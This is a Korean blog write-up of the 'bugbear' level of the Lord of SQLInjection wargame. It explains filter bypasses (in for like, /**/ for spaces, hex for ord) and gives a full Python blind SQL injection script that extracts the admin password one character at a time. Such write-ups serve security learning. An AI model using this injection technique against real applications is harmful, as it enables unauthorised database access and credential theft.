반응형
문제
https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php
https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php
los.rubiya.kr
문제풀이
2023.01.22 - [wargame/web] - [LOS] darkknight
[LOS] darkknight
문제 https://xss-game.appspot.com/level6 https://xss-game.appspot.com/level6 Oops! Based on your browser cookies it seems like you haven't passed the previous level of the game. Please go back to the previous level and complete the challenge. xss-game.ap
chandlerbong.tistory.com
이전 문제에서 필터링 되는 문자가 늘어났다.
like 문자는 in으로, 공백은 /**/ 주석으로 대체하면 된다.
ord 함수는 or에 의해 필터링 되므로 hex 함수로 대체하고, 0x 또한 필터링 되므로 슬라이싱해서 사용했다.
- 파이썬 코드
import requests
cookie={'PHPSESSID':''}
url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
# flag_len
flag_len=0
for i in range(50):
query='?pw=1&no=1||id/**/in("admin")%26%26length(pw)/**/in({})'.format(i)
res=requests.get(url+query, cookies=cookie)
if (res.text.find("<h2>Hello admin</h2>")!=-1):
flag_len=i
break
print("flag_len:{}".format(flag_len))
# flag
flag=""
for i in range(1,flag_len+1):
for j in range(33,128):
query='?pw=1&no=1||id/**/in("admin")%26%26hex(right(left(pw,{}),1))/**/in({})'.format(i,hex(j)[2:])
res=requests.get(url+query, cookies=cookie)
if (res.text.find("<h2>Hello admin</h2>")!=-1):
flag+=chr(j)
print(flag)
break
print("flag:{}".format(flag))
반응형
'write-up(web) > los' 카테고리의 다른 글
[LOS] assassin (0) | 2023.01.22 |
---|---|
[LOS] giant (0) | 2023.01.22 |
[LOS] darkknight (0) | 2023.01.22 |
[LOS] golem (0) | 2023.01.22 |
[LOS] skeleton (0) | 2023.01.22 |